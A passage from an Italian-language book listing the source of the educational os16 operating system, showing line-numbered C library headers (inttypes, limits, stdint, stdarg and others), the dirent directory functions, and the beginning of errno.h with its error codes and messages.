2090016 //----------------------------------------------------------------------
2090017 // Output typesetting.
2090018 //----------------------------------------------------------------------
2090019 #define PRId8           "d"
2090020 #define PRId16          "d"
2090021 #define PRId32          "ld"
2090022 #define PRIdLEAST8      "d"
2090023 #define PRIdLEAST16     "d"
2090024 #define PRIdLEAST32     "ld"
2090025 #define PRIdFAST8       "d"
2090026 #define PRIdFAST16      "d"
2090027 #define PRIdFAST32      "ld"
2090028 #define PRIdMAX         "ld"
2090029 #define PRIdPTR         "d"
2090030 #define PRIi8           "i"
2090031 #define PRIi16          "i"
2090032 #define PRIi32          "li"
2090033 #define PRIiLEAST8      "i"
2090034 #define PRIiLEAST16     "i"
2090035 #define PRIiLEAST32     "li"
2090036 #define PRIiFAST8       "i"
2090037 #define PRIiFAST16      "i"
2090038 #define PRIiFAST32      "i"
2090039 #define PRIiMAX         "li"
2090040 #define PRIiPTR         "i"
2090041 #define PRIo8           "o"
2090042 #define PRIo16          "o"
2090043 #define PRIo32          "lo"
2090044 #define PRIoLEAST8      "o"
2090045 #define PRIoLEAST16     "o"
2090046 #define PRIoLEAST32     "lo"
2090047 #define PRIoFAST8       "o"
2090048 #define PRIoFAST16      "o"
2090049 #define PRIoFAST32      "lo"
```

```
2090050 #define PRIoMAX         "lo"
2090051 #define PRIoPTR         "o"
2090052 #define PRIu8           "u"
2090053 #define PRIu16          "u"
2090054 #define PRIu32          "lu"
2090055 #define PRIuLEAST8      "u"
2090056 #define PRIuLEAST16     "u"
2090057 #define PRIuLEAST32     "lu"
2090058 #define PRIuFAST8       "u"
2090059 #define PRIuFAST16      "u"
2090060 #define PRIuFAST32      "lu"
2090061 #define PRIuMAX         "lu"
2090062 #define PRIuPTR         "u"
2090063 #define PRIx8           "x"
2090064 #define PRIx16          "x"
2090065 #define PRIx32          "lx"
2090066 #define PRIxLEAST8      "x"
2090067 #define PRIxLEAST16     "x"
2090068 #define PRIxLEAST32     "lx"
2090069 #define PRIxFAST8       "x"
2090070 #define PRIxFAST16      "x"
2090071 #define PRIxFAST32      "lx"
2090072 #define PRIxMAX         "lx"
2090073 #define PRIxPTR         "x"
2090074 #define PRIX8           "X"
2090075 #define PRIX16          "X"
2090076 #define PRIX32          "lX"
2090077 #define PRIXLEAST8      "X"
2090078 #define PRIXLEAST16     "X"
2090079 #define PRIXLEAST32     "lX"
2090080 #define PRIXFAST8       "X"
2090081 #define PRIXFAST16      "X"
2090082 #define PRIXFAST32      "lX"
2090083 #define PRIXMAX         "lX"
2090084 #define PRIXPTR         "X"
2090085 //----------------------------------------------------------------------
2090086 // Input scan and evaluation.
2090087 //----------------------------------------------------------------------
2090088 #define SCNd8           "hhd"
2090089 #define SCNd16          "hd"
2090090 #define SCNd32          "d"
2090091 #define SCNdLEAST8      "hhd"
2090092 #define SCNdLEAST16     "hd"
2090093 #define SCNdLEAST32     "d"
2090094 #define SCNdFAST8       "hhd"
2090095 #define SCNdFAST16      "d"
2090096 #define SCNdFAST32      "d"
2090097 #define SCNdMAX         "ld"
2090098 #define SCNdPTR         "d"
2090099 #define SCNi8           "hhi"
2090100 #define SCNi16          "hi"
2090101 #define SCNi32          "i"
```

```
2090102 #define SCNiLEAST8      "hhi"
2090103 #define SCNiLEAST16     "hi"
2090104 #define SCNiLEAST32     "i"
2090105 #define SCNiFAST8       "hhi"
2090106 #define SCNiFAST16      "i"
2090107 #define SCNiFAST32      "i"
2090108 #define SCNiMAX         "li"
2090109 #define SCNiPTR         "i"
2090110 #define SCNo8           "hho"
2090111 #define SCNo16          "ho"
2090112 #define SCNo32          "o"
2090113 #define SCNoLEAST8      "hho"
2090114 #define SCNoLEAST16     "ho"
2090115 #define SCNoLEAST32     "o"
2090116 #define SCNoFAST8       "hho"
2090117 #define SCNoFAST16      "o"
2090118 #define SCNoFAST32      "o"
2090119 #define SCNoMAX         "lo"
2090120 #define SCNoPTR         "o"
2090121 #define SCNu8           "hhu"
2090122 #define SCNu16          "hu"
2090123 #define SCNu32          "u"
2090124 #define SCNuLEAST8      "hhu"
2090125 #define SCNuLEAST16     "hu"
2090126 #define SCNuLEAST32     "u"
2090127 #define SCNuFAST8       "hhu"
2090128 #define SCNuFAST16      "u"
2090129 #define SCNuFAST32      "u"
2090130 #define SCNuMAX         "lu"
2090131 #define SCNuPTR         "u"
2090132 #define SCNx8           "hhx"
2090133 #define SCNx16          "hx"
2090134 #define SCNx32          "x"
2090135 #define SCNxLEAST8      "hhx"
2090136 #define SCNxLEAST16     "hx"
2090137 #define SCNxLEAST32     "x"
2090138 #define SCNxFAST8       "hhx"
2090139 #define SCNxFAST16      "x"
2090140 #define SCNxFAST32      "x"
2090141 #define SCNxMAX         "lx"
2090142 #define SCNxPTR         "x"
2090143 //----------------------------------------------------------------------
2090144 intmax_t  strtoimax  (const char *restrict nptr,
2090145                       char **restrict endptr, int base);
2090146 uintmax_t strtouimax (const char *restrict nptr,
2090147                       char **restrict endptr, int base);
2090148 intmax_t  wcstoimax  (const wchar_t *restrict nptr,
2090149                       wchar_t **restrict endptr, int base);
2090150 uintmax_t wcstouimax (const wchar_t *restrict nptr,
2090151                       wchar_t **restrict endptr, int base);
2090152 //----------------------------------------------------------------------
2090153
```

```
2090154 #endif
```

106.1.8 lib/limits.h

Si veda la sezione 102.2.

```
2100001 #ifndef _LIMITS_H
2100002 #define _LIMITS_H       1
2100003 //----------------------------------------------------------------------
2100004 #define CHAR_BIT                 (8)
2100005 #define SCHAR_MIN            (-0x80)
2100006 #define SCHAR_MAX             (0x7F)
2100007 #define UCHAR_MAX             (0xFF)
2100008 #define CHAR_MIN          SCHAR_MIN
2100009 #define CHAR_MAX          SCHAR_MAX
2100010 #define MB_LEN_MAX               (1)
2100011 #define SHRT_MIN           (-0x8000)
2100012 #define SHRT_MAX            (0x7FFF)
2100013 #define USHRT_MAX           (0xFFFF)
2100014 #define INT_MIN            (-0x8000)
2100015 #define INT_MAX             (0x7FFF)
2100016 #define UINT_MAX           (0xFFFFU)
2100017 #define LONG_MIN      (-0x80000000L)
2100018 #define LONG_MAX       (0x7FFFFFFFL)
2100019 #define ULONG_MAX      (0xFFFFFFFFUL)
2100020 //----------------------------------------------------------------------
2100021 #define LLONG_MIN     (-0x80000000L)     // The type 'long long int'
2100022 #define LLONG_MAX      (0x7FFFFFFFL)     // is not available with
2100023 #define ULLONG_MAX     (0xFFFFFFFFUL)    // a K&R C compiler.
2100024 //----------------------------------------------------------------------
2100025 #define WORD_BIT                 16  // POSIX requires at least 32!
2100026 #define LONG_BIT                 32
2100027 #define SSIZE_MAX          LONG_MAX
2100028 //----------------------------------------------------------------------
2100029 #define ARG_MAX                1024  // Arguments+environment max length.
2100030 #define ATEXIT_MAX               32  // Max "at exit" functions.
2100031 #define FILESIZEBITS             32  // File size needs integer size...
2100032 #define LINK_MAX                254  // Max links per file.
2100033 #define NAME_MAX                 14  // File name max (Minix 1 fs).
2100034 #define OPEN_MAX                  8  // Max open files per process.
2100035 #define PATH_MAX                 64  // Path, including final '\0'.
2100036 #define MAX_CANON                 1  // Max bytes in canonical tty queue.
2100037 #define MAX_INPUT                 1  // Max bytes in tty input queue.
2100038 //----------------------------------------------------------------------
2100039 #define CHLD_MAX            INT_MAX  // Not used.
2100040 #define HOST_NAME_MAX       INT_MAX  // Not used.
2100041 #define LOGIN_NAME_MAX      INT_MAX  // Not used.
2100042 #define PAGE_SIZE           INT_MAX  // Not used.
2100043 #define RE_DUP_MAX          INT_MAX  // Not used.
2100044 #define STREAM_MAX          INT_MAX  // Not used.
2100045 #define SYMLOOP_MAX         INT_MAX  // Not used.
```

```
2100046 #define TTY_NAME_MAX       INT_MAX  // Not used.
2100047 #define TZNAME_MAX         INT_MAX  // Not used.
2100048 #define PIPE_MAX           INT_MAX  // Not used.
2100049 #define SYMLINK_MAX        INT_MAX  // Not used.
2100050 //----------------------------------------------------------------------
2100051 
2100052 #endif
```

106.1.9 lib/ptrdiff_t.h

Si veda la sezione 102.2.

```
2110001 #ifndef _PTRDIFF_T_H
2110002 #define _PTRDIFF_T_H    1
2110003 
2110004 typedef int ptrdiff_t;
2110005 
2110006 #endif
```

106.1.10 lib/restrict.h

Si veda la sezione 102.2.

```
2120001 #ifndef _RESTRICT_H
2120002 #define _RESTRICT_H      1
2120003 
2120004 #define restrict
2120005 
2120006 #endif
```

106.1.11 lib/size_t.h

Si veda la sezione 102.2.

```
2130001 #ifndef _SIZE_T_H
2130002 #define _SIZE_T_H        1
2130003 //
2130004 // The type `size_t' *must* be equal to an `int'.
2130005 //
2130006 typedef unsigned int size_t;
2130007 
2130008 #endif
```

106.1.12 lib/stdarg.h

Si veda la sezione 102.2.

```
2140001 #ifndef _STDARG_H
2140002 #define _STDARG_H       1
2140003 //----------------------------------------------------------------------
2140004 typedef unsigned char *va_list;
2140005 //----------------------------------------------------------------------
2140006
2140007 #define va_start(ap, last)  ((void) ((ap) = \
2140008                              ((va_list) &(last)) + (sizeof (last))))
2140009 #define va_end(ap)          ((void) ((ap) = 0))
2140010 #define va_copy(dest, src)  ((void) ((dest) = (va_list) (src)))
2140011 #define va_arg(ap, type)    (((ap) = (ap) + (sizeof (type))), \
2140012                              *((type *) ((ap) - (sizeof (type)))))
2140013 //----------------------------------------------------------------------
2140014
2140015 #endif
```

106.1.13 lib/stdbool.h

Si veda la sezione 102.2.

```
2150001 #ifndef _STDBOOL_H
2150002 #define _STDBOOL_H      1
2150003 //----------------------------------------------------------------------
2150004 typedef unsigned char bool;     // [1]
2150005 #define true   ((bool) 1)
2150006 #define false  ((bool) 0)
2150007 #define __bool_true_false_are_defined   1
2150008 //
2150009 // [1] For some reason, it cannot be defined as a macro expanding to
2150010 //      `_Bool'. Anyway, it is the same kind of type.
2150011 //
2150012 //----------------------------------------------------------------------
2150013
2150014 #endif
```

106.1.14 lib/stddef.h

Si veda la sezione 102.2.

```
2160001 #ifndef _STDDEF_H
2160002 #define _STDDEF_H      1
2160003 //----------------------------------------------------------------------
2160004
2160005 #include <ptrdiff_t.h>
2160006 #include <size_t.h>
2160007 #include <wchar_t.h>
```

```
2160008 #include <NULL.h>
2160009 //----------------------------------------------------------------------
2160010 #define offsetof(type, member)  ((size_t) &((type *)0)->member)
2160011 //----------------------------------------------------------------------
2160012
2160013 #endif
```

106.1.15 lib/stdint.h

Si veda la sezione 102.2.

```
2170001 #ifndef _STDINT_H
2170002 #define _STDINT_H       1
2170003 //----------------------------------------------------------------------
2170004 typedef signed char                   int8_t;
2170005 typedef short int                    int16_t;
2170006 typedef long int                     int32_t;
2170007 typedef unsigned char                uint8_t;
2170008 typedef unsigned short int          uint16_t;
2170009 typedef unsigned long int           uint32_t;
2170010 //
2170011 #define INT8_MIN                      (-0x80)
2170012 #define INT8_MAX                       (0x7F)
2170013 #define UINT8_MAX                      (0xFF)
2170014 #define INT16_MIN                   (-0x8000)
2170015 #define INT16_MAX                    (0x7FFF)
2170016 #define UINT16_MAX                   (0xFFFF)
2170017 #define INT32_MIN               (-0x80000000)
2170018 #define INT32_MAX                (0x7FFFFFFF)
2170019 #define UINT32_MAX               (0xFFFFFFFFU)
2170020 //----------------------------------------------------------------------
2170021 typedef signed char             int_least8_t;
2170022 typedef short int              int_least16_t;
2170023 typedef long int               int_least32_t;
2170024 typedef unsigned char          uint_least8_t;
2170025 typedef unsigned short int    uint_least16_t;
2170026 typedef unsigned long int     uint_least32_t;
2170027 //
2170028 #define INT_LEAST8_MIN                (-0x80)
2170029 #define INT_LEAST8_MAX                 (0x7F)
2170030 #define UINT_LEAST8_MAX                (0xFF)
2170031 #define INT_LEAST16_MIN             (-0x8000)
2170032 #define INT_LEAST16_MAX              (0x7FFF)
2170033 #define UINT_LEAST16_MAX             (0xFFFF)
2170034 #define INT_LEAST32_MIN         (-0x80000000)
2170035 #define INT_LEAST32_MAX          (0x7FFFFFFF)
2170036 #define UINT_LEAST32_MAX        (0xFFFFFFFFU)
2170037 //----------------------------------------------------------------------
2170038 #define INT8_C(VAL)              VAL
2170039 #define INT16_C(VAL)             VAL
2170040 #define INT32_C(VAL)             VAL
```

```
2170041 #define UINT8_C(VAL)              VAL
2170042 #define UINT16_C(VAL)             VAL
2170043 #define UINT32_C(VAL)             VAL ## U
2170044 //----------------------------------------------------------------------
2170045 typedef signed char              int_fast8_t;
2170046 typedef int                     int_fast16_t;
2170047 typedef long int                int_fast32_t;
2170048 typedef unsigned char           uint_fast8_t;
2170049 typedef unsigned int           uint_fast16_t;
2170050 typedef unsigned long int      uint_fast32_t;
2170051 //
2170052 #define INT_FAST8_MIN                  (-0x80)
2170053 #define INT_FAST8_MAX                   (0x7F)
2170054 #define UINT_FAST8_MAX                  (0xFF)
2170055 #define INT_FAST16_MIN          (-0x80000000)
2170056 #define INT_FAST16_MAX           (0x7FFFFFFF)
2170057 #define UINT_FAST16_MAX          (0xFFFFFFFFU)
2170058 #define INT_FAST32_MIN          (-0x80000000)
2170059 #define INT_FAST32_MAX           (0x7FFFFFFF)
2170060 #define UINT_FAST32_MAX          (0xFFFFFFFFU)
2170061 //----------------------------------------------------------------------
2170062 typedef int                         intptr_t;
2170063 typedef unsigned int               uintptr_t;
2170064 //
2170065 #define INTPTR_MIN              (-0x80000000)
2170066 #define INTPTR_MAX              (0x7FFFFFFF)
2170067 #define UINTPTR_MAX             (0xFFFFFFFFU)
2170068 //----------------------------------------------------------------------
2170069 typedef long int                   intmax_t;
2170070 typedef unsigned long int         uintmax_t;
2170071 //
2170072 #define INTMAX_C(VAL)             VAL ## L
2170073 #define UINTMAX_C(VAL)            VAL ## UL
2170074 //
2170075 #define INTMAX_MIN             (-0x80000000L)
2170076 #define INTMAX_MAX              (0x7FFFFFFFL)
2170077 #define UINTMAX_MAX             (0xFFFFFFFFUL)
2170078 //----------------------------------------------------------------------
2170079 #define PTRDIFF_MIN            (-0x80000000)
2170080 #define PTRDIFF_MAX             (0x7FFFFFFF)
2170081 //
2170082 #define SIG_ATOMIC_MIN         (-0x80000000)
2170083 #define SIG_ATOMIC_MAX          (0x7FFFFFFF)
2170084 //
2170085 #define SIZE_MAX                      (0xFFFFU)
2170086 //
2170087 #define WCHAR_MIN                         (0)
2170088 #define WCHAR_MAX                       (0xFFU)
2170089 //
2170090 #define WINT_MIN                      (-0x80L)
2170091 #define WINT_MAX                        (0x7FL)
2170092 //----------------------------------------------------------------------
```

```
2170093
2170094 #endif
```

106.1.16 lib/time_t.h

Si veda la sezione 102.2.

```
2180001 #ifndef _TIME_T_H
2180002 #define _TIME_T_H       1
2180003
2180004 typedef long int time_t;
2180005
2180006 #endif
```

106.1.17 lib/wchar_t.h

Si veda la sezione 102.2.

```
2190001 #ifndef _WCHAR_T_H
2190002 #define _WCHAR_T_H      1
2190003
2190004 typedef unsigned char wchar_t;
2190005
2190006 #endif
```

106.2 os16: «lib/dirent.h»

Si veda la sezione 102.2.

```
2200001 #ifndef _DIRENT_H
2200002 #define _DIRENT_H        1
2200003
2200004 #include <sys/types.h>  // ino_t
2200005 #include <limits.h>     // NAME_MAX
2200006 #include <const.h>
2200007
2200008 //----------------------------------------------------------------------
2200009 struct dirent {
2200010     ino_t  d_ino;                 // I-node number [1]
2200011     char   d_name[NAME_MAX+1];    // NAME_MAX + Null termination
2200012 };
2200013 //
2200014 // [1] The type `ino_t' must be equal to `uint16_t', because the
2200015 //     directory inside the Minix 1 file system has exactly such
2200016 //     size.
2200017 //
2200018 //----------------------------------------------------------------------
2200019 #define DOPEN_MAX   OPEN_MAX/2  // <limits.h> [1]
```

```
2200020 //
2200021 // [1] DOPEN_MAX is not standard, but it is used to define how many
2200022 //     directory slot to keep for open directories. As directory streams
2200023 //     are opened as file descriptors, the sum of all kind of file open
2200024 //     cannot be more than OPEM_MAX.
2200025 //----------------------------------------------------------------------
2200026 typedef struct {
2200027     int           fdn;       // File descriptor number.
2200028     struct dirent dir;       // Last directory item read.
2200029 } DIR;
2200030 
2200031 extern DIR _directory_stream[]; // Defined inside 'lib/dirent/DIR.c'.
2200032 //----------------------------------------------------------------------
2200033 // Function prototypes.
2200034 //----------------------------------------------------------------------
2200035 int            closedir  (DIR *dp);
2200036 DIR           *opendir   (const char *name);
2200037 struct dirent *readdir   (DIR *dp);
2200038 void           rewinddir (DIR *dp);
2200039 //----------------------------------------------------------------------
2200040 
2200041 #endif
```

106.2.1 lib/dirent/DIR.c

Si veda la sezione 102.2.

```
2210001 #include <dirent.h>
2210002 //
2210003 // There must be room for at least 'DOPEN_MAX' elements.
2210004 //
2210005 DIR _directory_stream[DOPEN_MAX];
2210006 
2210007 void
2210008 _dirent_directory_stream_setup (void)
2210009 {
2210010     int d;
2210011     //
2210012     for (d = 0; d < DOPEN_MAX; d++)
2210013       {
2210014         _directory_stream[d].fdn   = -1;
2210015       }
2210016 }
```

106.2.2 lib/dirent/closedir.c

Si veda la sezione 99.10.

```
2220001 #include <dirent.h>
2220002 #include <fcntl.h>
2220003 #include <const.h>
2220004 #include <sys/types.h>
2220005 #include <sys/stat.h>
2220006 #include <unistd.h>
2220007 #include <errno.h>
2220008 #include <stddef.h>
2220009 //----------------------------------------------------------------------
2220010 int
2220011 closedir (DIR *dp)
2220012 {
2220013     //
2220014     // Check for a valid argument
2220015     //
2220016     if (dp == NULL)
2220017       {
2220018         //
2220019         // Not a valid pointer.
2220020         //
2220021         errset (EBADF);         // Invalid directory.
2220022         return (-1);
2220023       }
2220024     //
2220025     // Check if it is an open directory stream.
2220026     //
2220027     if (dp->fdn < 0)
2220028       {
2220029         //
2220030         // The stream is closed.
2220031         //
2220032         errset (EBADF);         // Invalid directory.
2220033         return (-1);
2220034       }
2220035     //
2220036     // Close the file descriptor. It there is an error,
2220037     // the 'errno' variable will be set by 'close()'.
2220038     //
2220039     return (close (dp->fdn));
2220040 }
```

106.2.3 lib/dirent/opendir.c

«

Si veda la sezione 99.76.

```
2230001 #include <dirent.h>
2230002 #include <fcntl.h>
2230003 #include <const.h>
2230004 #include <sys/types.h>
2230005 #include <sys/stat.h>
2230006 #include <unistd.h>
2230007 #include <errno.h>
2230008 #include <stddef.h>
2230009 //----------------------------------------------------------------------
2230010 DIR *
2230011 opendir (const char *path)
2230012 {
2230013     int   fdn;
2230014     int   d;
2230015     DIR  *dp;
2230016     struct stat file_status;
2230017     //
2230018     // Function 'opendir()' is used only for reading.
2230019     //
2230020     fdn = open (path, O_RDONLY);
2230021     //
2230022     // Check the file descriptor returned.
2230023     //
2230024     if (fdn < 0)
2230025       {
2230026         //
2230027         // The variable 'errno' is already set:
2230028         //   EINVAL
2230029         //   EMFILE
2230030         //   ENFILE
2230031         //
2230032         errset (errno);
2230033         return (NULL);
2230034       }
2230035     //
2230036     // Set the 'FD_CLOEXEC' flag for that file descriptor.
2230037     //
2230038     if (fcntl (fdn, F_SETFD, FD_CLOEXEC) != 0)
2230039       {
2230040         //
2230041         // The variable 'errno' is already set:
2230042         //   EBADF
2230043         //
2230044         errset (errno);
2230045         close (fdn);
2230046         return (NULL);
2230047       }
2230048     //
2230049     //
```

```
2230050       //
2230051       if (fstat (fdn, &file_status) != 0)
2230052         {
2230053           //
2230054           // Error should be already set.
2230055           //
2230056           errset (errno);
2230057           close (fdn);
2230058           return (NULL);
2230059         }
2230060       //
2230061       // Verify it is a directory
2230062       //
2230063       if (!S_ISDIR(file_status.st_mode))
2230064         {
2230065           //
2230066           // It is not a directory!
2230067           //
2230068           close (fdn);
2230069           errset (ENOTDIR);               // Is not a directory.
2230070           return (NULL);
2230071         }
2230072       //
2230073       // A valid file descriptor is available: must find a free
2230074       // `_directory_stream[]' slot.
2230075       //
2230076       for (d = 0; d < DOPEN_MAX; d++)
2230077         {
2230078           if (_directory_stream[d].fdn < 0)
2230079             {
2230080               //
2230081               // Found a free slot: set it up.
2230082               //
2230083               dp = &(_directory_stream[d]);
2230084               dp->fdn   = fdn;
2230085               //
2230086               // Return the directory pointer.
2230087               //
2230088               return (dp);
2230089             }
2230090         }
2230091       //
2230092       // If we are here, there was no free directory slot available.
2230093       //
2230094       close  (fdn);
2230095       errset (EMFILE);                    // Too many file open.
2230096       return (NULL);
2230097   }
```

106.2.4 lib/dirent/readdir.c

Si veda la sezione 99.86.

```
2240001 #include <dirent.h>
2240002 #include <fcntl.h>
2240003 #include <sys/types.h>
2240004 #include <sys/stat.h>
2240005 #include <unistd.h>
2240006 #include <errno.h>
2240007 #include <stddef.h>
2240008 //----------------------------------------------------------------------
2240009 struct dirent *
2240010 readdir (DIR *dp)
2240011 {
2240012     ssize_t size;
2240013     //
2240014     // Check for a valid argument.
2240015     //
2240016     if (dp == NULL)
2240017       {
2240018         //
2240019         // Not a valid pointer.
2240020         //
2240021         errset (EBADF);         // Invalid directory.
2240022         return (NULL);
2240023       }
2240024     //
2240025     // Check if it is an open directory stream.
2240026     //
2240027     if (dp->fdn < 0)
2240028       {
2240029         //
2240030         // The stream is closed.
2240031         //
2240032         errset (EBADF);         // Invalid directory.
2240033         return (NULL);
2240034       }
2240035     //
2240036     // Read the directory.
2240037     //
2240038     size = read (dp->fdn, &(dp->dir),
2240039                  (size_t) 16);
2240040     //
2240041     // Fix the null termination, if the name is very long.
2240042     //
2240043     dp->dir.d_name[NAME_MAX] = '\0';
2240044     //
2240045     // Check what was read.
2240046     //
2240047     if (size == 0)
2240048       {
2240049         //
```

```
2240050             // End of directory, but it is not an error.
2240051             //
2240052             return (NULL);
2240053           }
2240054         //
2240055         if (size < 0)
2240056           {
2240057             //
2240058             // This is an error. The variable 'errno' is already set.
2240059             //
2240060             errset (errno);
2240061             return (NULL);
2240062           }
2240063         //
2240064         if (dp->dir.d_ino == 0)
2240065           {
2240066             //
2240067             // This is a null directory record.
2240068             // Should try to read the next one.
2240069             //
2240070             return (readdir (dp));
2240071           }
2240072         //
2240073         if (strlen (dp->dir.d_name) == 0)
2240074           {
2240075             //
2240076             // This is a bad directory record: try to read next.
2240077             //
2240078             return (readdir (dp));
2240079           }
2240080         //
2240081         // A valid directory record should be available now.
2240082         //
2240083         return (&(dp->dir));
2240084     }
```

106.2.5 lib/dirent/rewinddir.c

Si veda la sezione 99.89.

```
2250001     #include <dirent.h>
2250002     #include <fcntl.h>
2250003     #include <const.h>
2250004     #include <sys/types.h>
2250005     #include <sys/stat.h>
2250006     #include <unistd.h>
2250007     #include <errno.h>
2250008     #include <stddef.h>
2250009     #include <stdio.h>
2250010     //----------------------------------------------------------------------
2250011     void
```

```
2250012 rewinddir (DIR *dp)
2250013 {
2250014     FILE *fp;
2250015     //
2250016     // Check for a valid argument.
2250017     //
2250018     if (dp == NULL)
2250019       {
2250020         //
2250021         // Nothing to rewind, and no error to set.
2250022         //
2250023         return;
2250024       }
2250025     //
2250026     // Check if it is an open directory stream.
2250027     //
2250028     if (dp->fdn < 0)
2250029       {
2250030         //
2250031         // The stream is closed.
2250032         // Nothing to rewind, and no error to set.
2250033         //
2250034         return;
2250035       }
2250036     //
2250037     //
2250038     //
2250039     fp = &_stream[dp->fdn];
2250040     //
2250041     rewind (fp);
2250042 }
```

106.3 os16: «lib/errno.h»

Si veda la sezione 99.18.

```
2260001 #ifndef _ERRNO_H
2260002 #define _ERRNO_H       1
2260003 
2260004 #include <limits.h>
2260005 #include <string.h>
2260006 //----------------------------------------------------------------------
2260007 // The variable 'errno' is standard, but 'errln' and 'errfn' are added
2260008 // to keep track of the error source. Variable 'errln' is used to save
2260009 // the source file line number; variable 'errfn' is used to save the
2260010 // source file name. To set these variable in a consistent way it is
2260011 // also added a macro-instruction: 'errset'.
2260012 //----------------------------------------------------------------------
2260013 extern int   errno;
2260014 extern int   errln;
2260015 extern char  errfn[PATH_MAX];
```

```
2260016 #define errset(e)        (errln = __LINE__, \
2260017                           strncpy (errfn, __FILE__, PATH_MAX), \
2260018                           errno = e)
2260019 //----------------------------------------------------------------------
2260020 // Standard POSIX 'errno' macro variables.
2260021 //----------------------------------------------------------------------
2260022 #define E2BIG             1 // Argument list too long.
2260023 #define EACCES            2 // Permission denied.
2260024 #define EADDRINUSE        3 // Address in use.
2260025 #define EADDRNOTAVAIL     4 // Address not available.
2260026 #define EAFNOSUPPORT      5 // Address family not supported.
2260027 #define EAGAIN            6 // Resource unavailable, try again.
2260028 #define EALREADY          7 // Connection already in progress.
2260029 #define EBADF             8 // Bad file descriptor.
2260030 #define EBADMSG           9 // Bad message.
2260031 #define EBUSY            10 // Device or resource busy.
2260032 #define ECANCELED        11 // Operation canceled.
2260033 #define ECHILD           12 // No child processes.
2260034 #define ECONNABORTED     13 // Connection aborted.
2260035 #define ECONNREFUSED     14 // Connection refused.
2260036 #define ECONNRESET       15 // Connection reset.
2260037 #define EDEADLK          16 // Resource deadlock would occur.
2260038 #define EDESTADDRREQ     17 // Destination address required.
2260039 #define EDOM             18 // Mathematics argument out of domain of
2260040                             // function.
2260041 #define EDQUOT           19 // Reserved.
2260042 #define EEXIST           20 // File exists.
2260043 #define EFAULT           21 // Bad address.
2260044 #define EFBIG            22 // File too large.
2260045 #define EHOSTUNREACH     23 // Host is unreachable.
2260046 #define EIDRM            24 // Identifier removed.
2260047 #define EILSEQ           25 // Illegal byte sequence.
2260048 #define EINPROGRESS      26 // Operation in progress.
2260049 #define EINTR            27 // Interrupted function.
2260050 #define EINVAL           28 // Invalid argument.
2260051 #define EIO              29 // I/O error.
2260052 #define EISCONN          30 // Socket is connected.
2260053 #define EISDIR           31 // Is a directory.
2260054 #define ELOOP            32 // Too many levels of symbolic links.
2260055 #define EMFILE           33 // Too many open files.
2260056 #define EMLINK           34 // Too many links.
2260057 #define EMSGSIZE         35 // Message too large.
2260058 #define EMULTIHOP        36 // Reserved.
2260059 #define ENAMETOOLONG     37 // Filename too long.
2260060 #define ENETDOWN         38 // Network is down.
2260061 #define ENETRESET        39 // Connection aborted by network.
2260062 #define ENETUNREACH      40 // Network unreachable.
2260063 #define ENFILE           41 // Too many files open in system.
2260064 #define ENOBUFS          42 // No buffer space available.
2260065 #define ENODATA          43 // No message is available on the stream head
2260066                             // read queue.
2260067 #define ENODEV           44 // No such device.
```

```
2260068 #define ENOENT          45 // No such file or directory.
2260069 #define ENOEXEC         46 // Executable file format error.
2260070 #define ENOLCK          47 // No locks available.
2260071 #define ENOLINK         48 // Reserved.
2260072 #define ENOMEM          49 // Not enough space.
2260073 #define ENOMSG          50 // No message of the desired type.
2260074 #define ENOPROTOOPT     51 // Protocol not available.
2260075 #define ENOSPC          52 // No space left on device.
2260076 #define ENOSR           53 // No stream resources.
2260077 #define ENOSTR          54 // Not a stream.
2260078 #define ENOSYS          55 // Function not supported.
2260079 #define ENOTCONN        56 // The socket is not connected.
2260080 #define ENOTDIR         57 // Not a directory.
2260081 #define ENOTEMPTY       58 // Directory not empty.
2260082 #define ENOTSOCK        59 // Not a socket.
2260083 #define ENOTSUP         60 // Not supported.
2260084 #define ENOTTY          61 // Inappropriate I/O control operation.
2260085 #define ENXIO           62 // No such device or address.
2260086 #define EOPNOTSUPP      63 // Operation not supported on socket.
2260087 #define EOVERFLOW       64 // Value too large to be stored in data type.
2260088 #define EPERM           65 // Operation not permitted.
2260089 #define EPIPE           66 // Broken pipe.
2260090 #define EPROTO          67 // Protocol error.
2260091 #define EPROTONOSUPPORT 68 // Protocol not supported.
2260092 #define EPROTOTYPE      69 // Protocol wrong type for socket.
2260093 #define ERANGE          70 // Result too large.
2260094 #define EROFS           71 // Read-only file system.
2260095 #define ESPIPE          72 // Invalid seek.
2260096 #define ESRCH           73 // No such process.
2260097 #define ESTALE          74 // Reserved.
2260098 #define ETIME           75 // Stream ioctl() timeout.
2260099 #define ETIMEDOUT       76 // Connection timed out.
2260100 #define ETXTBSY         77 // Text file busy.
2260101 #define EWOULDBLOCK     78 // Operation would block
2260102                            // (may be the same as EAGAIN).
2260103 #define EXDEV           79 // Cross-device link.
2260104 //----------------------------------------------------------------------
2260105 // Added os16 errors.
2260106 //----------------------------------------------------------------------
2260107 #define EUNKNOWN                    (-1)  // Unknown error.
2260108 #define E_FILE_TYPE                  80   // File type not compatible.
2260109 #define E_ROOT_INODE_NOT_CACHED      81   // The root directory inode is
2260110                                           // not cached.
2260111 #define E_CANNOT_READ_SUPERBLOCK     83   // Cannot read super block.
2260112 #define E_MAP_INODE_TOO_BIG          84   // Map inode too big.
2260113 #define E_MAP_ZONE_TOO_BIG           85   // Map zone too big.
2260114 #define E_DATA_ZONE_TOO_BIG          86   // Data zone too big.
2260115 #define E_CANNOT_FIND_ROOT_DEVICE    87   // Cannot find root device.
2260116 #define E_CANNOT_FIND_ROOT_INODE     88   // Cannot find root inode.
2260117 #define E_FILE_TYPE_UNSUPPORTED      89   // File type unsupported.
2260118 #define E_ENV_TOO_BIG                90   // Environment too big.
2260119 #define E_LIMIT                      91   // Exceeded implementation
```

```
2260120                                              // limits.
2260121  #define E_NOT_MOUNTED                   92  // Not mounted.
2260122  #define E_NOT_IMPLEMENTED               93  // Not implemented.
2260123  //----------------------------------------------------------------------
2260124  // Default descriptions for errors.
2260125  //----------------------------------------------------------------------
2260126  #define TEXT_E2BIG                          "Argument list too long."
2260127  #define TEXT_EACCES                         "Permission denied."
2260128  #define TEXT_EADDRINUSE                     "Address in use."
2260129  #define TEXT_EADDRNOTAVAIL                  "Address not available."
2260130  #define TEXT_EAFNOSUPPORT                   "Address family not supported."
2260131  #define TEXT_EAGAIN                         "Resource unavailable, " \
2260132                                              "try again."
2260133  #define TEXT_EALREADY                       "Connection already in " \
2260134                                              "progress."
2260135  #define TEXT_EBADF                          "Bad file descriptor."
2260136  #define TEXT_EBADMSG                        "Bad message."
2260137  #define TEXT_EBUSY                          "Device or resource busy."
2260138  #define TEXT_ECANCELED                      "Operation canceled."
2260139  #define TEXT_ECHILD                         "No child processes."
2260140  #define TEXT_ECONNABORTED                   "Connection aborted."
